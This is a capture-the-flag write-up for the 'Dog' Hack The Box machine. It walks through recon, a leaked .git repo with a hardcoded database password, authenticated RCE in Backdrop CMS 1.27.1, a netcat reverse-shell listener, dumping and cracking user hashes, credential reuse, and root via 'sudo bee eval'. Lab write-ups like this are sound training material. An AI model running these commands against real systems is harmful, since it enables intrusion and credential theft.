dog Easy linux box, starts with a git repo leaked and some credentials. Then we exploit a known cve to get our first user. After that some credentials are being reused giving us the johncusack user. Then we just use some bad sudo privileges to get to root.

nmap

Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-08 18:02 -04
Nmap scan report for 10.10.11.58
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 972ad22c898ad3ed4dac00d21e8749a7 (RSA)
|   256 277c3ceb0f26e962590f0fb138c9ae2b (ECDSA)
|_  256 9388474c69af7216094cba771e3b3beb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Home | Dog
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.08 seconds
Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-08 18:03 -04
Warning: 10.10.11.58 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.58
Host is up (0.23s latency).
All 65535 scanned ports on 10.10.11.58 are in ignored states.
Not shown: 65463 open|filtered udp ports (no-response), 72 closed udp ports (port-unreach)

Nmap done: 1 IP address (1 host up) scanned in 74.38 seconds

main website

.git folder found, let’s dump it with git-dumper.

Only one commit. dog1

Some database credentials hardcoded.

<?php
// settings.php:15 ~ 17
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';

Let’s look at the actual website now.

dog2

Uses backdrop cms.

dog3

The credentials don’t work on the login panel.

dog4

Tried bruteforcing the username but the site is using some form of rate limiting.

Taking a better look at the git repo there is a staff email:

// update.settings.json:12
        "tiffany@dog.htb"

and the password works on it. dog5

version 1.27.1, lets check some cves dog6

There is a authenticated RCE on exploitdb. You can add a module and execute what you want. Seems to be an intentional feature of the cms.

We just run the poc, upload the module on the admin panel and go to /modules/shell/shell.php dog7

Cleanup scripts seems to be pretty fast. So getting a nc shell might be the better option. On host:

nc -lvnp 4444

On cms: dog9

www-data

Listening on 0.0.0.0 4444
Connection received on 10.10.11.58 45530
bash: cannot set terminal process group (922): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dog:/var/www/html/modules/shell$

Upgrade the shell:

script /dev/null -c bash
^Z
stty raw -echo; fg

users with shell access:

www-data@dog:$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash

Let’s check the mysql instance since we have the creds.

www-data@dog:$ mysql -u root -pBackDropJ2024DS2024 -h 127.0.0.1 backdrop
mysql> select name, mail, pass from users;
+-------------------+----------------------------+---------------------------------------------------------+
| name              | mail                       | pass                                                    |
+-------------------+----------------------------+---------------------------------------------------------+
|                   |                            |                                                         |
| jPAdminB          | jPAdminB@dog.htb           | $S$Eoz560v3wCBpqOpSTh6Lg.fcSfu3uaasdZkFijle7FqgHrhzwwLE |
| jobert            | jobert@dog.htb             | $S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1 |
| dogBackDropSystem | dogBackDroopSystem@dog.htb | $S$EfD1gJoRtn8I5TlqPTuTfHRBFQWL3x6vC5D3Ew9iU4RECrNuPPdD |
| john              | john@dog.htb               | $S$EYniSfxXt8z3gJ7pfhP5iIncFfCKz8EIkjUD66n/OTdQBFklAji. |
| morris            | morris@dog.htb             | $S$E8OFpwBUqy/xCmMXMqFp3vyz1dJBifxgwNRMKktogL7VVk7yuulS |
| axel              | axel@dog.htb               | $S$E42CHzivUL2EK3jaVMJgOVKHXWf9fsADHtHWcuI2WC5VmKOisJkf |
| rosa              | rosa@dog.htb               | $S$EsV26QVPbF.s0UndNPeNCxYEP/0z2O.2eLUNdKW/xYhg2.lsEcDT |
| tiffany           | tiffany@dog.htb            | $S$EEAGFzd8HSQ/IzwpqI79aJgRvqZnH4JSKLv2C83wUphw0nuoTY8v |
+-------------------+----------------------------+---------------------------------------------------------+

Backdrop uses the same hash format as drupal, so we do: john --wordlist=/home/shafou/wordlists/rockyou.txt users.txt

Start with jobert since it is on /etc/passwd.

Doesn’t crack even after a couple of hours.

The mysql password works on johncusack. And that gives the user flag.

www-data@dog:$ su - johncusack
Password:
johncusack@dog:~$ cat user.txt
583fe***************************

johncusack

The priv esc is probably from this:

johncusack@dog:~$ sudo -l
[sudo] password for johncusack:
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

bee is a tool from backdrop. It has some interesting commands:

 ADVANCED
  eval
   ev, php-eval
   Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

It complains about no bootstrap.

johncusack@dog:/backdrop_tool/bee$ bee eval a

tput: No value for $TERM and no -T specified
tput: No value for $TERM and no -T specified
 ✘  The required bootstrap level for 'eval' is not ready.

Seems like it needs to be in the backdrop root.

johncusack@dog:/backdrop_tool/bee$ sudo bee install

tput: unknown terminal "unknown"tput: unknown terminal "unknown"

 ✘  The install script could not be found. Re-run the command from within a Backdrop installation, or set the global '--root' option.

Changing the pwd to /var/www/html makes it work.

johncusack@dog:/backdrop_tool/bee$ cv /var/www/html
johncusack@dog:/var/www/html$ sudo bee eval "system('whoami')"
root
johncusack@dog:/var/www/html$ sudo bee eval "system('cat /root/root.txt')"
4d349***************************